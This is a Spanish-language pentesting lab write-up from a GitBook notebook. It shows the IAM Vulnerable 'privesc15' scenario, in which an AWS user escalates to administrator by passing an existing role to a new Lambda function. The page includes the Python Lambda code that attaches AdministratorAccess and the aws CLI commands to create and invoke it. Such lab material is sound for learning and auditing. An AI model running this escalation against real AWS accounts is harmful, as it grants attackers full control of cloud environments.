> For the complete documentation index, see [llms.txt](https://pruiz.gitbook.io/myphp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pruiz.gitbook.io/myphp/aws-pentesting/lambda/privesc-paths/passexistingroletonewlambdatheninvoke.md).

# PassExistingRoleToNewLambdaThenInvoke

## Laboratorio

En este apartado se observará el ejemplo utilizando el laboratorio IAM vulnerable con el escenario privesc15

{% embed url="<https://bishopfox.com/blog/privilege-escalation-in-aws>" %}
Lab: IAM - Vulnerable | Escenario: privesc15
{% endembed %}

Un atacante con los permisos <mark style="color:green;">iam:PassRole</mark> , <mark style="color:green;">lambda:CreateFunction</mark> y <mark style="color:green;">lambda:InvokeFunction</mark> puede escalar privilegios pasando un rol de IAM existente a una nueva función de Lambda que incluye código para importar la biblioteca de AWS relevante para el lenguaje de programación de su elección, y luego usándola para realizar las acciones de su elección. Para este ejercicio se simulará que es una auditoria post autenticación (habiendo obtenido las credenciales por algún otro medio previo).

### Configuración Inicial

Usuario del laboratorio: privesc15-PassExistingRoleToNewLambdaThenInvoke-user

La cuenta de AWS debe contener un rol existente que incluya el permiso iam:AttachUserPolicy y las funciones lambda deben poder asumir este rol.

{% code title="assumeRolePolicy.json" overflow="wrap" %}

```json
{
     "Version": "2012-10-17",
     "Statement": [
         {
            "Sid": "VisualEditor0",
             "Effect": "Allow",
             "Action": "iam:AttachUserPolicy",
             "Resource": "arn:aws:iam::*:user/*"
         }
     ]
}
```

{% endcode %}

Luego las políticas asociadas al usuario deben ser las siguientes:

<figure><img src="/files/oVikseKnbDGcuGOrJwCN" alt=""><figcaption><p>Permisos mínimos para escalar privilegios</p></figcaption></figure>

Posterior mente generar llaves e acceso desde cuenta administrador para interactuar con el usuario en AWS CLI y configurar un perfil.

### Explotación

#### Paso 1

En este laboratorio, se tiene que iniciar utilizando el permiso <mark style="color:green;">**lambda:Createfunction**</mark> para crear una función lambda maliciosa en Python que tendrá el código para adjuntar una política de altos privilegios al usuario inicial *privesc15*.

<pre class="language-python" data-title="code.py" data-overflow="wrap"><code class="lang-python">import boto3

def lambda_handler(event, context):
    # crea un cliente de IAM usando la biblioteca Boto3
    client = boto3.client('iam')
    
    # adjunta la política "AdministratorAccess" al usuario 
<strong>    response = client.attach_user_policy(UserName='privesc15-PassExistingRoleToNewLambdaThenInvoke-user',
</strong><strong>    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
</strong>    
    # devuelve la respuesta de la API de IAM de AWS
    return response

</code></pre>

Para subir el archivo con el permiso <mark style="color:green;">**lambda:Createfunction**</mark> es necesario comprimir el archivo en formato zip con el nombre <mark style="color:green;">**function.zip**</mark>, después ejecutar el siguiente comando:

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>aws lambda create-function --function-name privesc --runtime python3.6 --role arn:aws:iam::037572360634:role/privesc-high-role-Lambda --handler code.lambda_handler --zip-file fileb://function.zip --region us-east-2 --profile privesc15
</strong></code></pre>

<figure><img src="/files/71oj3zPy3ngAI2XRx7k2" alt=""><figcaption></figcaption></figure>

#### Paso 2

Llamar la función maliciosa aprovechando el privilegio de <mark style="color:green;">**lambda:InvokeFunction**</mark> para invocar dicha función y que finalmente el usuario inicial adquiera el rol de administrador.

{% code overflow="wrap" %}

```bash
aws lambda invoke --function-name privesc output.txt --region us-east-2 --profile privesc15
```

{% endcode %}

<figure><img src="/files/qnV5eTY0ay9gmkXIwSgo" alt=""><figcaption></figcaption></figure>

Con estos pasos ya se habrá ejecutado la escalación de privilegios, se puede observar con el siguiente comando:

<figure><img src="/files/pIo5PIejYhFn0wfIOwzy" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://pruiz.gitbook.io/myphp/aws-pentesting/lambda/privesc-paths/passexistingroletonewlambdatheninvoke.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
